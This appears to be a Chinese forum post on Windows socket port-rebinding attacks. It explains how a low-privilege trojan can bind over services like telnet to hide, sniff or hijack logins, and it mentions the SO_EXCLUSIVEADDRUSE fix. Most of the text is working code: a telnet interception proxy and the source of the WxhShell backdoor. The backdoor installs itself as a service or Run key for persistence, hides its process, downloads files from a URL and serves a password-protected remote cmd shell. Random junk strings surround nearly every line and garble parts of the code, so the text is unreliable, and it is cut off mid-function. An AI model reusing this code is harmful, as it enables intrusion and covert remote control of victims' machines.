在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\1k79 c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
HY56"LZ$(} owVX*&b{ saddr.sin_family = AF_INET;
8 ?xE6 )W^F2-{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ju8>:y8 1KU!
tL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)v'WWwXY> l0|5t)jF- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
LP.]9ut .yoH/2h 这意味着什么?意味着可以进行如下的攻击:
k$n|*kCh /J]5H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0Um2DjTCG ^}RCoE 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%Hu5K>ZNYp VF+KR* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
bL0yuAwF2 xVw9v6@`h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2R[:]-b aS>u,=C 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D(~U6SR Kew@&j~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f[]dfLS"W GV1pn) 4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
esJ~;~[@(r v&6-a* <Z #include
8'[~2/ #include
(^ JI%> #include
b!+hH Hv: #include
ncaT?~u j DWORD WINAPI ClientThread(LPVOID lpParam);
Lc}LGq! int main()
T6'^EZZY {
N:^n('U&j WORD wVersionRequested;
kXViWOXU^ DWORD ret;
EfqX
y>W WSADATA wsaData;
N"Z{5A BOOL val;
2IK}vDsis SOCKADDR_IN saddr;
%U/(|wodd SOCKADDR_IN scaddr;
%[GsD9_- int err;
,>:U2% SOCKET s;
2_>N/Z4T SOCKET sc;
W<'m:dq int caddsize;
91/Q9xY HANDLE mt;
Q1Kfi8h}' DWORD tid;
% 7hrk wVersionRequested = MAKEWORD( 2, 2 );
Kf3"Wf^q err = WSAStartup( wVersionRequested, &wsaData );
n3WlZ!$ if ( err != 0 ) {
aHD]k8m z printf("error!WSAStartup failed!\n");
pd?Mf=># return -1;
G0Iw-vf }
ldf\;Qk saddr.sin_family = AF_INET;
[DuttFX^x jVi) Efy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[z:!j$K &0d#Y]D4` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9gW|}&- saddr.sin_port = htons(23);
#`^}PuQ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(&r.w {
[+^1.N printf("error!socket failed!\n");
p:&8sO!m return -1;
"MeVE#O }
-abt:or val = TRUE;
*tA1az-jO //SO_REUSEADDR选项就是可以实现端口重绑定的
a
.#)G[* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:@Pl pFK {
Q3'llOx printf("error!setsockopt failed!\n");
!t"4!3 return -1;
Z{*\S0^ST }
& l<.X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YP oSRA L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aj='b.2) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&$+AXzn ,~U>'&M; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x>K Or,f {
4Z3su^XR ret=GetLastError();
6jaEv# printf("error!bind failed!\n");
/|}EL%a return -1;
iqsCB%;5 }
cVv=*81\ listen(s,2);
`bq<$e while(1)
w7L{_aom {
phXGnm caddsize = sizeof(scaddr);
rI{; I DV //接受连接请求
Z-%\
<zT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ic:zsuEm if(sc!=INVALID_SOCKET)
G[ PtkPSJ {
ScOK)nL" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
38B2|x if(mt==NULL)
4>
K42m {
=jN.1} printf("Thread Creat Failed!\n");
b=C*W,Q_# break;
zpn9,,~u }
,>a&"V^k }
<_L,t 1H{ CloseHandle(mt);
qz_7%c]K[ }
LBeF&sb6 closesocket(s);
k t#fMd$ WSACleanup();
u[;\y|75 return 0;
Q-oktRK }
xK[ou' DWORD WINAPI ClientThread(LPVOID lpParam)
Oi.C(@^( {
tAd%#:K SOCKET ss = (SOCKET)lpParam;
,L2ZinU: SOCKET sc;
P8:dU(nlW unsigned char buf[4096];
d0!5j SOCKADDR_IN saddr;
>b}o~F^J long num;
8Al{+gx@? DWORD val;
v4TQX<0s DWORD ret;
-m zIT4 //如果是隐藏端口应用的话,可以在此处加一些判断
u{cW: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
QT5TE: D saddr.sin_family = AF_INET;
a=_g*OK}D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o'aEY<mZ7 saddr.sin_port = htons(23);
QE+g
j8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1ba~SHi {
5DU6rks% printf("error!socket failed!\n");
{
'eC`04E return -1;
+.PxzL3? }
9.M4o[ val = 100;
n+9=1Oo" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*8 A {
yPBZc h %- ret = GetLastError();
.NC!7+1m return -1;
s]0{a.Cpv }
!PlEO 2at if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Dj?> <@ {
9rX&uP)j^# ret = GetLastError();
$99n&t$Y return -1;
`{h*/Q }
NR6#g,+7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Wis~$" {
3pROf#M printf("error!socket connect failed!\n");
n38p !oS closesocket(sc);
%IA\pSE closesocket(ss);
G_8R K,H. return -1;
Y5Bo|*b }
BwEN~2u6 while(1)
_.Nbt(mz {
Et_bH%0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^Z+?h&%% //如果是嗅探内容的话,可以再此处进行内容分析和记录
eQm1cgMdz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(8DC}kckE num = recv(ss,buf,4096,0);
-7[@R;FS if(num>0)
7F7{)L send(sc,buf,num,0);
RLXL& else if(num==0)
,-LwtePJ0 break;
^)S;xb9 num = recv(sc,buf,4096,0);
Rok7n1gW if(num>0)
UgSB>V<? send(ss,buf,num,0);
O63<AY@ else if(num==0)
2wg5#i break;
|A~jsz6pI }
I_#kgp closesocket(ss);
^/>(6>S^M closesocket(sc);
x+:UN'"r return 0 ;
mDABH@R }
{4}yKjW%z [b%D3-}' >8^
$ [}w ==========================================================
X7MM2V bo>*fNqAIy 下边附上一个代码,,WXhSHELL
{6|G@""O On:il$MU ==========================================================
u%KTNa0 y2dCEmhY #include "stdafx.h"
D/xbF` TER=*"! #include <stdio.h>
(t
K||*u #include <string.h>
3S@7]Pg #include <windows.h>
(`>+zT5aH #include <winsock2.h>
z,
)6"/; #include <winsvc.h>
7kLz[N6Ll #include <urlmon.h>
CyFrb`% Qj.#)R #pragma comment (lib, "Ws2_32.lib")
%nZo4hnr$r #pragma comment (lib, "urlmon.lib")
6I4\q.^qw ]@c+]{ #define MAX_USER 100 // 最大客户端连接数
^ogt+6c #define BUF_SOCK 200 // sock buffer
GW@;}m( #define KEY_BUFF 255 // 输入 buffer
YUD`!C BO;tCEV? #define REBOOT 0 // 重启
D,*3w'X!K #define SHUTDOWN 1 // 关机
rQs)O<jl 8 +/rlHp #define DEF_PORT 5000 // 监听端口
(0r3/t?DQ L.2^`mZs #define REG_LEN 16 // 注册表键长度
ZohCP #define SVC_LEN 80 // NT服务名长度
_ QI\ z+wA
rPxc // 从dll定义API
G@\1E+Ip typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&j`} vg typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
".V$~n( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k68T`Ub\W6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'Cfl*iNb Wx}8T[A} // wxhshell配置信息
X1|njJGO1 struct WSCFG {
Jb@V}Ul$ int ws_port; // 监听端口
Lc,Pom char ws_passstr[REG_LEN]; // 口令
Tya1/w4 int ws_autoins; // 安装标记, 1=yes 0=no
w~A{(-
dx char ws_regname[REG_LEN]; // 注册表键名
gQg"j) char ws_svcname[REG_LEN]; // 服务名
py!|\00} char ws_svcdisp[SVC_LEN]; // 服务显示名
&MQmu,4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
)h4f\0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)gIKH{JYL int ws_downexe; // 下载执行标记, 1=yes 0=no
0B/,/KX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Su7?;Oh/yI char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;>yxNGV` &*,#5. };
]EBxl=C}D .-c4wm} // default Wxhshell configuration
nI-w}NQ struct WSCFG wscfg={DEF_PORT,
H3^},. "xuhuanlingzhe",
n8
i] z 1,
, , OW "Wxhshell",
!8d{q)JZ "Wxhshell",
["93~[[^ "WxhShell Service",
?
7n`A >T "Wrsky Windows CmdShell Service",
=_2jK0+}l "Please Input Your Password: ",
,t?B+$E 1,
k 8[n+^ "
http://www.wrsky.com/wxhshell.exe",
mbxZL<ua "Wxhshell.exe"
h$>-.- };
9gDkTYkj b\kdKVh& // 消息定义模块
D 6Ui! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f!uw zHA`? char *msg_ws_prompt="\n\r? for help\n\r#>";
TH&U
j1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_Xc8Yg }` char *msg_ws_ext="\n\rExit.";
+>{2*\cZ5} char *msg_ws_end="\n\rQuit.";
1>_8d"<Gd char *msg_ws_boot="\n\rReboot...";
2d #1=+V char *msg_ws_poff="\n\rShutdown...";
KNvZm;Q6 char *msg_ws_down="\n\rSave to ";
gnOt+W8 ^A$Zw+P char *msg_ws_err="\n\rErr!";
5|j<`()H
: char *msg_ws_ok="\n\rOK!";
U0y% u Eu d*_>| char ExeFile[MAX_PATH];
/wEhVR`= int nUser = 0;
Ys!82M$g HANDLE handles[MAX_USER];
^e _hLX\SW int OsIsNt;
E)5\i-n *20jz< SERVICE_STATUS serviceStatus;
EoR}Af SERVICE_STATUS_HANDLE hServiceStatusHandle;
IqaT?+O\?r 3*"WG O5 // 函数声明
{0wIR_dGX int Install(void);
t;}|tgC int Uninstall(void);
e "4 ''/ int DownloadFile(char *sURL, SOCKET wsh);
\5:i;AE int Boot(int flag);
5h=}j void HideProc(void);
%~H-)_d20 int GetOsVer(void);
?}tFN_X" int Wxhshell(SOCKET wsl);
*=/ { HvJ void TalkWithClient(void *cs);
Cazocq5 int CmdShell(SOCKET sock);
p
Z|V
3 int StartFromService(void);
x_N'TjS^{ int StartWxhshell(LPSTR lpCmdLine);
x;P_1J%Q .\ULbN3Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2ozax)GY VOID WINAPI NTServiceHandler( DWORD fdwControl );
XFHYQ2ME2 yiXSYD // 数据结构和表定义
S]e|"n~@ SERVICE_TABLE_ENTRY DispatchTable[] =
mP~QWx![N {
; ; OAQ` {wscfg.ws_svcname, NTServiceMain},
O>bC2;+s {NULL, NULL}
X1x#6
oi };
h6D<go-b56 TCwFPlF| // 自我安装
o4F2%0gJ int Install(void)
s^G.]%iU {
A@!qv#' char svExeFile[MAX_PATH];
r[`9uVT/ HKEY key;
-8ywO"6 strcpy(svExeFile,ExeFile);
oi&VgnSk HSE!x_$ // 如果是win9x系统,修改注册表设为自启动
+ZaSM~ if(!OsIsNt) {
B
dj!ia;H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RNEp4x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!21FR* RegCloseKey(key);
,GbR!j@6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UJAv`yjG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1y@i}<9F RegCloseKey(key);
]b:Lo return 0;
abmYA# }
%A9NB! }
]3],r ?-tJ }
0y'H~( else {
:1.L}4"gg shy-Gu& // 如果是NT以上系统,安装为系统服务
mA}TJz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{yTGAf-DV if (schSCManager!=0)
[[Ls_ZL!= {
F3[T.sf SC_HANDLE schService = CreateService
^+>laOzC`8 (
T\6dm/5 schSCManager,
2+N]PW\V wscfg.ws_svcname,
j?3wvw6T wscfg.ws_svcdisp,
T"}5}6rSG SERVICE_ALL_ACCESS,
XSwl Tg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g#pr yYz SERVICE_AUTO_START,
FBe;1OU SERVICE_ERROR_NORMAL,
#_ ;lf1x! svExeFile,
zlSNfgO NULL,
bivuqKA NULL,
:\`o8` NULL,
}#RakV4 NULL,
,GhS[VJjR NULL
Hh3X
\ );
iJI }TVep# if (schService!=0)
kYP#SH/ {
CAig]=2' CloseServiceHandle(schService);
:S{BbQ){] CloseServiceHandle(schSCManager);
!OhC/f(GBZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R6<X%*&% strcat(svExeFile,wscfg.ws_svcname);
}z'8Bu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
j;+b0(53 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$lfn(b, RegCloseKey(key);
aB2FC$z return 0;
b4%??"&<Y }
g-4M3of }
w_"E*9 CloseServiceHandle(schSCManager);
V# }!-Xj }
}1L4"}L. }
e }?db *k7+/bU~~ return 1;
+5g_KS }
a_^\=&?' xC?6v' // 自我卸载
K-^\"
W8 int Uninstall(void)
q5J5> {
Gt8M&S-; HKEY key;
xjUT{iwS *2>&"B09` if(!OsIsNt) {
;>U2|>5V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D#9m\o_ RegDeleteValue(key,wscfg.ws_regname);
3V+] 9; RegCloseKey(key);
L~(j3D*
3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!]A RegDeleteValue(key,wscfg.ws_regname);
0I-9nuw,^; RegCloseKey(key);
('4_
xOb return 0;
g>E LGG|Q }
TM__I\+Q }
60^`JVGWH }
imhwY#D else {
M!siK2 58}U^IW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6IN
e@ if (schSCManager!=0)
wQ:)KjhHH {
p}}R-D&K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
x xHY+(m if (schService!=0)
'|6]_ {
<VMGTBVQ if(DeleteService(schService)!=0) {
_b
pP50Cu CloseServiceHandle(schService);
XAD- 'i CloseServiceHandle(schSCManager);
wyH[x!QX return 0;
W]$w@.oW[ }
H`XUJh CloseServiceHandle(schService);
CCs%%U/= }
NR$3%0 nC6 CloseServiceHandle(schSCManager);
W 8<&gh+ }
^2:p|:Bz!l }
Y Vt% 0 OR P\b return 1;
X~bX5b[P }
CImWd.W9~ `P@< 3] // 从指定url下载文件
Y,qI@n< int DownloadFile(char *sURL, SOCKET wsh)
hk;5w{t}} {
h]5(]. HRESULT hr;
Q^P}\wb> char seps[]= "/";
r5S[-`s; char *token;
'0;l]/i. char *file;
^ox=HNV char myURL[MAX_PATH];
j.[.1G*(" char myFILE[MAX_PATH];
0Uz"^xO[" >.Pnkx* strcpy(myURL,sURL);
L8@f-Kk token=strtok(myURL,seps);
c`)\Pb/O while(token!=NULL)
etQCzYIhn {
udK%> file=token;
'?{OZXg token=strtok(NULL,seps);
EgEa1l!NSQ }
dM.f]-g pHGYQ;:L GetCurrentDirectory(MAX_PATH,myFILE);
B B{$&Oh strcat(myFILE, "\\");
N@4w!
HpJ strcat(myFILE, file);
B&M%I:i send(wsh,myFILE,strlen(myFILE),0);
SBu"3ym send(wsh,"...",3,0);
4!{KWL`A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
L]|gZ&^ if(hr==S_OK)
n1ZbRV return 0;
^cC,.Fdw else
3GYw+%Z] return 1;
etDk35!h~, soB,j3#p'* }
n-2]M05O >a<.mU|# // 系统电源模块
Pjf"CW+A int Boot(int flag)
wq`s-qZu {
}^WdJd]P HANDLE hToken;
RF$eQzW TOKEN_PRIVILEGES tkp;
d UE,U= b<[Or^X
] if(OsIsNt) {
98c(< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=`oCLsz= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)bL'[h tkp.PrivilegeCount = 1;
0@0w+&*"@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4&lv6`G ` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D(op)]8 if(flag==REBOOT) {
W\$`w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H064BM return 0;
/|m2WxK) }
S&5&];Ag else {
];$L &5^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s*KhF'fN return 0;
XAKs0*J> }
h]&GLb&<? }
hg]]Ok~cAs else {
3PWL@>zi if(flag==REBOOT) {
W&W5lArr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#<"~~2? return 0;
JPI3[.o }
|)DGkOtd else {
mkk6`,ov if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
sRR(`0Zp return 0;
G^|:N[>B }
.[KrlfI }
F@jZ ho A/$QaB,x return 1;
J$DE"|- }
;W
)Y
OT ij`w} V // win9x进程隐藏模块
MTh<|$
void HideProc(void)
A0s ZOCky {
2eS~/Pq5=i =!A_^;NQf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%g$o/A$ if ( hKernel != NULL )
^$jb7HMObI {
{%5eMyF# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?3`UbN: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:K,i\ FreeLibrary(hKernel);
T@B/xAq5! }
U[-o> W# x_Y!5yg
E return;
H [\o RId }
oG?Xk%7&\ 3BUSv#w{i // 获取操作系统版本
9wUkh}s int GetOsVer(void)
<?.&^|kS {
rl;~pO5R9 OSVERSIONINFO winfo;
yjX9oxhtL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(_]~wi-, GetVersionEx(&winfo);
Hyl%mJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.p3,O6y2(F return 1;
3BJ0S.TF else
Xza(k return 0;
>Eto(
y"q }
&-6Gc;f8 2 c{34: // 客户端句柄模块
9ULQrq$? int Wxhshell(SOCKET wsl)
S!CC
}3zw {
CAWNDl4 SOCKET wsh;
qS$Ox?Bw#u struct sockaddr_in client;
(NU
NHxi5B DWORD myID;
!>&o01i `5.'_3 while(nUser<MAX_USER)
Qx#"q '2 {
ql{OETn# int nSize=sizeof(client);
|v%YQ
R wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%)W2H^
if(wsh==INVALID_SOCKET) return 1;
&)ChQZA
Do7Tj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Cctu|^V if(handles[nUser]==0)
D_*WYV closesocket(wsh);
- % h.t+=U else
:U%W% nUser++;
nh>vixe }
Y eo]]i{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'G4ICtHQ ^"2J]&x`G return 0;
Om\vMd@! }
*vxk@`K~ }2.`N%[ // 关闭 socket
WX?IYQ+ void CloseIt(SOCKET wsh)
KwSqKI7]0 {
HCs?iJ closesocket(wsh);
?P`K7 nUser--;
a~}OZ&PG ExitThread(0);
1};Stai'
}
\&3+D8H>n zP8lN(LA // 客户端请求句柄
d.d/< void TalkWithClient(void *cs)
Id .nu/ {
pJ"qu,w M`!H"R 7 SOCKET wsh=(SOCKET)cs;
ChPmX+.i_ char pwd[SVC_LEN];
v MH char cmd[KEY_BUFF];
Ckuh:bs char chr[1];
<uw9DU7G int i,j;
x2\qXN/R f+,qNvBY/ while (nUser < MAX_USER) {
[!#L6&:a8 K`zdc`/ if(wscfg.ws_passstr) {
m@v\(rT. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IK=a*}19L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|&) dh< //ZeroMemory(pwd,KEY_BUFF);
YkKi|k i=0;
SsDmoEeB[ while(i<SVC_LEN) {
c9 _rmz8 k2tF} // 设置超时
P* BmHz4KL fd_set FdRead;
)lqAD+9Q struct timeval TimeOut;
#a,PZDaE FD_ZERO(&FdRead);
3ym',q FD_SET(wsh,&FdRead);
9-a0 :bP TimeOut.tv_sec=8;
'$(^W@M#6 TimeOut.tv_usec=0;
#'szP\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~-Qw.EdC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
s8t;.^1} CXMLt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F/kWHVHU[ pwd
=chr[0]; g@!V3V
if(chr[0]==0xd || chr[0]==0xa) { plstZ,#j
pwd=0; 08\,<9
break; eJX9_6m-
} )g%d:xI
i++; zL0pw'4
} {ROVvs`
Vv=. -&'
// 如果是非法用户,关闭 socket |3"KK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +lcbi
} 4p;`C
-- 95Jz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qt"m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MH\dC9%p
\V~eVf;~
while(1) { Moza".fiN
"`e{/7I
ZeroMemory(cmd,KEY_BUFF); 2-EIE4ds
5e^ChK0Q
// 自动支持客户端 telnet标准 D'DfJwA
j=0; v^*K:#<Q!
while(j<KEY_BUFF) {
>Abdd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <<5(0#y#
cmd[j]=chr[0]; U$A]8NZ$S
if(chr[0]==0xa || chr[0]==0xd) { ^k">A:E2
cmd[j]=0; #h
]g?*}OJ
break; Y]2A&0
} qfm|@v|De5
j++; K?1W!fY
} /7F:T[
_Q 4)X)F
// 下载文件 dcN22A3
if(strstr(cmd,"http://")) { %l[( Iw
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N S[l/0F&
if(DownloadFile(cmd,wsh)) >}i E(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hnhd{$2Z
else JjTegQN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e6$W Qd`O
} <`r>h
else { \Uq(Zga4)
SoK
iE
switch(cmd[0]) { MAPGJ"?
BW*rIn<?G
// 帮助 "@0]G<H
case '?': { +iRh
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f6>b|k~
break; yN(%-u"
} hhc,uJ">!
// 安装 7~.9=I'A
case 'i': { V {ddr:]4
if(Install()) lq;Pch
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #.)0xfGW)n
else RMu~l@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <R=Zs[9M1
break; y}ev ,j
} >U27];}y
// 卸载 fJ!R6D
case 'r': { fuf"Ae
if(Uninstall()) )zdQ1&@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bn&ze.F
else n9ej7oj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \\;jw[P0
break; ^8N}9a
} hT+_(>hT
// 显示 wxhshell 所在路径 VTY 5]|;
case 'p': { .Vvx,>>D
char svExeFile[MAX_PATH]; R(G7m@@{
strcpy(svExeFile,"\n\r");
o`z]|G1''
strcat(svExeFile,ExeFile); ?J~_R1Z
send(wsh,svExeFile,strlen(svExeFile),0); ^o&. fQ*
break; Z o(rTCZX
} e1Hgw[l`
// 重启 JOeeU8C
case 'b': { 1?+St`+{B-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @Qt{jI!
if(Boot(REBOOT)) $}<e|3_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Si;H0uP O
else { mGg+.PFsM
closesocket(wsh); K_Eux rPn
ExitThread(0); 5MJS
~(
} #BH*Z(
break; Ry6@VQ"NLb
} R`E ~ZWC4V
// 关机 $c(nF01
case 'd': { -;WGS o
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B>P{A7Q
if(Boot(SHUTDOWN)) }y gD3:vN7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^RIl
else { 0[W:d=C`a
closesocket(wsh); U26}gT)
ExitThread(0); 5vnrA'BhBU
} 4zFW-yy
break; @?]RBX?a
} 5#E`=C%
// 获取shell &`2)V;t
case 's': { 8$Y9ORs4
CmdShell(wsh); lA8`l>I
closesocket(wsh); (V2fRv
ExitThread(0); 8XE7]&)];
break; iSs:oH3l
} [FR`Z=%
// 退出 /R wjCUf
case 'x': { l}K37f
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mrtb*7`$
CloseIt(wsh); 4ID5q~
break; _u QOHwn
} 8&b,qQ~
// 离开 <x>Mo
case 'q': { or}[h09qA
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z=vU}S>r|v
closesocket(wsh); OYn}5RN
WSACleanup(); FXkM#}RgNm
exit(1); yEE*B:
break; Zp=U
W*g^
} }b.%Im<3R
} FJ)$f?=Qd
} U
z>+2m(
s|r3Gv|G
// 提示信息 h>m"GpF
x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k~1?VQ+?M
} >}6%#CAf
} 3L}A3de'
St*h>V6
return; PB\x3pV!}
} u.xnO cOH!
\(2sW^fY
// shell模块句柄 B:'US&6Lf'
int CmdShell(SOCKET sock) ,r\o}E2
{ YS"=yye3e
STARTUPINFO si; P71Lqy)5}A
ZeroMemory(&si,sizeof(si)); "S?z@i(K^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WNrk}LFof
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C!bUI8x
z
PROCESS_INFORMATION ProcessInfo; E+;7>ja
char cmdline[]="cmd"; </*6wpN
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >tW#/\x{
return 0; sLxc(d'A
} #?:l b1
gc$l^`+M
// 自身启动模式 O3kA;[f;
int StartFromService(void) ]~3V}z,T*
{ -6B4sZpzD
typedef struct 7J<5f)
{ XlR@pr6tw
DWORD ExitStatus; C1QA)E['V
DWORD PebBaseAddress; 0flRh)[J
DWORD AffinityMask; [ v*ju!
DWORD BasePriority; [` 7ThHX
